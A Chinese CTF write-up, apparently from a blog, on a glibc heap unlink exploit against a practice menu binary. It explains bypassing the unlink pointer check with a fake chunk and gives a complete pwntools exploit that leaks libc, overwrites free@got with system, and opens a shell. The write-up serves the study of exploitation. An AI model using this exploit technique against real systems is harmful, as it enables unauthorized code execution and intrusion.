zoukankan      html  css  js  c++  java
  • [CTF]Heap vuln -- unlink

    0x00: 起因

    一直在堆的漏洞利用中不得要领,之前ZCTF又是三个堆的利用,血崩,chxx表哥给写了一个heap的pwn,学习学习。

    0x01:

    关于heap的unlink的漏洞利用,出的很早,在低版本的libc中,因为没有校验,导致在unlink的时候可以通过构造堆块dwordshoot,从而任意代码执行。
    对于这种漏洞的学习,首先要了解malloc的工作原理及几种堆块的分配、使用方式。推荐文章 Understanding glibc malloc

    0x02: 文件的一些信息


    0x03:分析

    程序是一个菜单式的程序,可以用户自定义分配块的长度和内容,漏洞在于:edit的时候,没做长度校验导致可以溢出,通过构造可以bypass 在libc中unlink的校验,从而getshell。

    0x04:在drops看到的姿势

    堆溢出的unlink利用方法

    按照文中给出的方式,为了bypass

    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
    	malloc_printerr (check_action, "corrupted double-linked list", P);
    

    这么一个指针的校验,我们找到一个特殊的 指针ptr是指向p的(p指向堆)
    那么可以根据p去构造bk和fd两个指针

    chunk0                malloc返回的ptr           chunk1        malloc返回的ptr
    |                     |                        |             |
    +-----------+---------+----+----+----+----+----+------+------+----+----+------+
    |           |         |fake|fake|fake|fake| D  | fake | fake |    |    |      |
    |           |         |prev|size| FD | BK | A  | prev | size&|    |    |      |
    | prev_size |size&Flag|size|    |    |    | T  | size | flag |    |    |      |
    |           |         |    |    |    |    | A  |      |      |    |    |      |
    |           |         |    |    |    |    |    |      |      |    |    |      |
    +-----------+---------+----+----+----+----+----+------+------+----+----+------+
                          |--------new_size--------|
                          list
    
    l32(0)  +  l32(0x89)  +  l32(list-0xc) + l32(list-0x8) +"A"*(128-4*4)
    #fake_pre_szie + fake_size + fake_FD + fake_BK + DATA
    #   4bytes        4bytes     4bytes    4bytes    128-4*4
    
    #pre_size   +   size&flag
    l32(0x80) + l32(0x88)
    free(chunk_1)
    

    分配两个长度合适的块,伪造第一个块,然后通过修改了第二个块的pre_size 和size
    然后free(chunk1) 触发unlink

    之后再次修改指针p 从而达到leak地址,修改地址的目的

    0x05:exp

    from pwn import *
    
    context.update(os='linux', arch='i386')
    p = remote('127.0.0.1',10001)
    
    chunk_list = 0x8049d60
    free_got = 0x8049ce8
    
    flag = 0
    def leak(addr):
        data = "A" * 0xc + p32(chunk_list-0xc) + p32(addr)
        global flag
        if flag == 0:
            set_chunk(0, data)
            flag = 1
        else:
            set_chunk2(0, data)
        res = ""
        p.recvuntil('5.Exit
    ')
        res = print_chunk(1)
        print("leaking: %#x ---> %s" % (addr, res[0:4].encode('hex')))
        return res[0:4]
    
    def add_chunk(len):
    	print p.recvuntil('
    ')
    	p.sendline('1')
    	print p.recvuntil('Input the size of chunk you want to add:')
    	p.sendline(str(len))
    
    def set_chunk(index,data):
    	p.recvuntil('5.Exit
    ')
    	p.sendline('2')
    	p.recvuntil('Set chunk index:')
    	p.sendline(str(index))
    	p.recvuntil('Set chunk data:')
    	p.sendline(data)
    
    def set_chunk2(index, data):
        p.sendline('2')
        p.recvuntil('Set chunk index:')
        p.sendline(str(index))
        p.recvuntil('Set chunk data:')
        p.sendline(data)
    
    def del_chunk(index):
    	p.recvuntil('
    ')
    	p.sendline('3')
    	p.recvuntil('Delete chunk index:')
    	p.sendline(str(index))
    
    def print_chunk(index):
    	p.sendline('4')
    	p.recvuntil('Print chunk index:')
    	p.sendline(str(index))
    	res = p.recvuntil('5.Exit
    ')
    	return res
    
    
    
    raw_input('add_chunk')
    add_chunk(128)  #0
    add_chunk(128)	#1
    add_chunk(128)	#2
    add_chunk(128)	#3
    set_chunk(3, '/bin/sh')
    
    #fake_chunk
    payload = ""
    payload += p32(0) + p32(0x89) + p32(chunk_list-0xc) + p32(chunk_list-0x8)
    payload += "A"*(0x80-4*4)
    #2nd chunk 
    payload += p32(0x80) + p32(0x88)
    
    set_chunk(0,payload)
    #get the pointer
    del_chunk(1)
    
    set_chunk(0, 'A' * 12 + p32(0x8049d54) + p32(0x8049d14))
    
    raw_input('leak')
    #leak system_addr
    pwn_elf = ELF('./heap')
    d = DynELF(leak, elf=pwn_elf)
    sys_addr = d.lookup('system', 'libc')
    print("system addr: %#x" % sys_addr)
    
    raw_input('edit free@got')
    data = "A" * 12 + p32(chunk_list-0xc) + p32(free_got)
    set_chunk2('0', data)
    
    set_chunk2('1', p32(sys_addr))
    
    del_chunk('3')
    p.interactive()
    p.close()
    

    0x06:参考文章

    1. Understanding glibc malloc
    2. 堆溢出的unlink利用方法

    最后还要感谢chxx大表哥的pwn和指导=。=

    所有文件都在这里了 文件下载

  • 相关阅读:
    JavaScript的MVC模式
    【收藏】关于团队合作的css命名规范
    【推荐】前端资源推荐
    JavaScript完美验证URL正则
    【原创】JavaScript中的cookie学习
    jquery实现无限滚动瀑布流实现原理
    常用浏览器本地存储的几种方案对比
    事件触发的一个细节设计
    IE6中fixed抖动问题的解决(完美无副作用版)
    Web开发者不容错过的20段CSS代码
  • 原文地址:https://www.cnblogs.com/0xmuhe/p/5190132.html
Copyright © 2011-2022 走看看